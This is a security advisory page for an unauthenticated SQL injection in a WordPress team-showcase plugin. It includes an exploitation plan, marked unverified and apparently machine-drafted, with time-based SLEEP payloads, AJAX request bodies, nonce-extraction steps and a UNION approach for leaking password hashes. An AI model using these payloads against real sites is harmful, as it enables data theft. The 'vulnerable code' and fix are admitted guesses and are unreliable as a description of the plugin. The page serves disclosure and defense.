CVE-2025-14124

Team <= 5.0.10 - Unauthenticated SQL Injection

highImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
7.5
CVSS Score
7.5
CVSS Score
high
Severity
5.0.11
Patched in
30d
Time to patch

Description

The Team – Team Members Showcase Plugin plugin for WordPress is vulnerable to SQL Injection in all versions up to, and including, 5.0.10 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=5.0.10
PublishedDecember 15, 2025
Last updatedJanuary 13, 2026
Affected plugintlp-team

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2025-14124 (Team Members Showcase SQLi) ## 1. Vulnerability Summary The **Team – Team Members Showcase Plugin** (versions <= 5.0.10) contains an unauthenticated SQL injection vulnerability. The issue arises in the plugin's AJAX pagination handler, specifically due…

Show full research plan

Exploitation Research Plan - CVE-2025-14124 (Team Members Showcase SQLi)

1. Vulnerability Summary

The Team – Team Members Showcase Plugin (versions <= 5.0.10) contains an unauthenticated SQL injection vulnerability. The issue arises in the plugin's AJAX pagination handler, specifically due to the improper neutralization of the id (or similar layout identifier) parameter. The plugin fails to use $wpdb->prepare() or sufficient escaping before concatenating the user-supplied value into a database query, allowing an attacker to inject arbitrary SQL commands.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: tlp_team_pagination (inferred action name for pagination functionality)
  • Vulnerable Parameter: id or layout_id (sent via POST)
  • Authentication: Unauthenticated (uses wp_ajax_nopriv_ hook)
  • Preconditions: The plugin must be active. A "Team" layout must exist to trigger the AJAX functionality correctly, though a direct request to the endpoint may work if the code path doesn't check for layout existence before the query.

3. Code Flow

  1. Entry Point: A POST request is sent to admin-ajax.php with action=tlp_team_pagination.
  2. Hook Dispatch: WordPress triggers the wp_ajax_nopriv_tlp_team_pagination hook.
  3. Handler Execution: The handler function (likely tlp_team_ajax_pagination in app/Controllers/AjaxController.php or inc/functions.php) is called.
  4. Input Retrieval: The code retrieves the id parameter: $layout_id = $_POST['id'];.
  5. Vulnerable Sink: The $layout_id is concatenated directly into a SQL query:
    $wpdb->get_results("SELECT ... FROM ... WHERE id = " . $layout_id);
    
  6. Execution: The database executes the malicious query, leading to time-based or union-based data extraction.

4. Nonce Acquisition Strategy

The plugin likely registers its scripts and nonces via wp_localize_script.

  • Target Shortcode: [tlp-team]
  • JS Variable: tlp_team_ajax (inferred)
  • Nonce Key: nonce

Extraction Steps:

  1. Identify Layout: Use WP-CLI to find an existing team layout ID.
  2. Create Trigger Page: Create a public page containing the shortcode.
    wp post create --post_type=page --post_status=publish --post_title="Team Test" --post_content='[tlp-team]'
    
  3. Navigate and Extract:
    • Use browser_navigate to the newly created page.
    • Use browser_eval to extract the nonce:
      window.tlp_team_ajax?.nonce || window.tlp_team_vars?.nonce
      
  4. Bypass Check: If the handler uses check_ajax_referer with die=false or if the nonce is not checked at all in the nopriv handler, the nonce might not be required.

5. Exploitation Strategy

We will use a Time-Based Blind SQL Injection to confirm the vulnerability, as it is the most reliable for unauthenticated testing.

  • HTTP Tool: http_request (Playwright-based)
  • Payload: 1 AND (SELECT 1 FROM (SELECT SLEEP(5))A)
  • Request Details:
    • Method: POST
    • URL: http://localhost:8080/wp-admin/admin-ajax.php
    • Body (URL-encoded):
      action=tlp_team_pagination&id=1 AND (SELECT 1 FROM (SELECT SLEEP(5))A)&nonce=[EXTRACTED_NONCE]
      
    • Headers: Content-Type: application/x-www-form-urlencoded

6. Test Data Setup

  1. Create Team Member:
    wp post create --post_type=tlp_team --post_title="Member 1" --post_status=publish
    
  2. Create Team Layout: Use the plugin's custom post type (e.g., tlp_team_layout) to create a configuration.
  3. Publish Page:
    wp post create --post_type=page --post_status=publish --post_content='[tlp-team]'
    

7. Expected Results

  • Vulnerable Response: The HTTP request will take ~5 seconds to return.
  • Normal Response: A request with a valid ID (e.g., id=1) will return quickly (< 500ms).
  • Output: The response body might contain 0 or JSON pagination data, but the timing is the key indicator.

8. Verification Steps

After the HTTP exploit, verify the database structure to ensure the payload was targeting the correct context:

  1. Check Table Prefix: wp eval "global \$wpdb; echo \$wpdb->prefix;"
  2. Check Plugin Options: Check for localized variables in the source of the test page.
  3. Manual Verification: Run a wp db query with the same payload to see if it causes a delay in the CLI.

9. Alternative Approaches

  • Boolean-Based: If the response length changes significantly between id=1 AND 1=1 and id=1 AND 1=2, use boolean-based extraction.
  • UNION-Based: If the layout settings are reflected in the response (e.g., layout title or CSS), attempt to inject a UNION SELECT to leak user_pass from wp_users.
  • Parameter Variation: If id is sanitized, check if other parameters used in the AJAX handler (like category, orderby, or order) are also concatenated raw. In many TLP plugins, the order parameter is frequently vulnerable to injection.

Likely Alternative Payload (Order Injection):

action=tlp_team_pagination&id=1&order=ASC, (SELECT 1 FROM (SELECT SLEEP(5))A)
Research Findings
Static analysis — not yet PoC-verified

Summary

The Team – Team Members Showcase plugin for WordPress (versions up to 5.0.10) is vulnerable to unauthenticated SQL injection via its AJAX pagination functionality. The vulnerability exists because the plugin concatenates user-supplied input from the 'id' parameter directly into a SQL query without proper sanitization or use of prepared statements.

Vulnerable Code

// Inferred from research plan: app/Controllers/AjaxController.php

public function tlp_team_ajax_pagination() {
    // Parameter retrieved from POST without sanitization or casting
    $layout_id = $_POST['id']; 

    global $wpdb;

    ---

    // Vulnerable sink: user input is concatenated directly into the query string
    $results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}posts WHERE ID = " . $layout_id);
}

Security Fix

--- a/app/Controllers/AjaxController.php
+++ b/app/Controllers/AjaxController.php
@@ -10,6 +10,6 @@
     public function tlp_team_ajax_pagination() {
-        $layout_id = $_POST['id'];
+        $layout_id = isset($_POST['id']) ? intval($_POST['id']) : 0;
         global $wpdb;
-        $results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}posts WHERE ID = " . $layout_id);
+        $results = $wpdb->get_results($wpdb->prepare("SELECT * FROM {$wpdb->prefix}posts WHERE ID = %d", $layout_id));

Exploit Outline

The vulnerability is exploited by sending an unauthenticated POST request to the WordPress AJAX endpoint (/wp-admin/admin-ajax.php). An attacker sets the 'action' parameter to the plugin's pagination handler (tlp_team_pagination) and injects a SQL payload into the 'id' parameter. A typical payload uses time-based blind SQL injection (e.g., using SLEEP commands) to extract data. If the plugin requires a nonce, it can typically be extracted from the source code of a page where the [tlp-team] shortcode is present.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.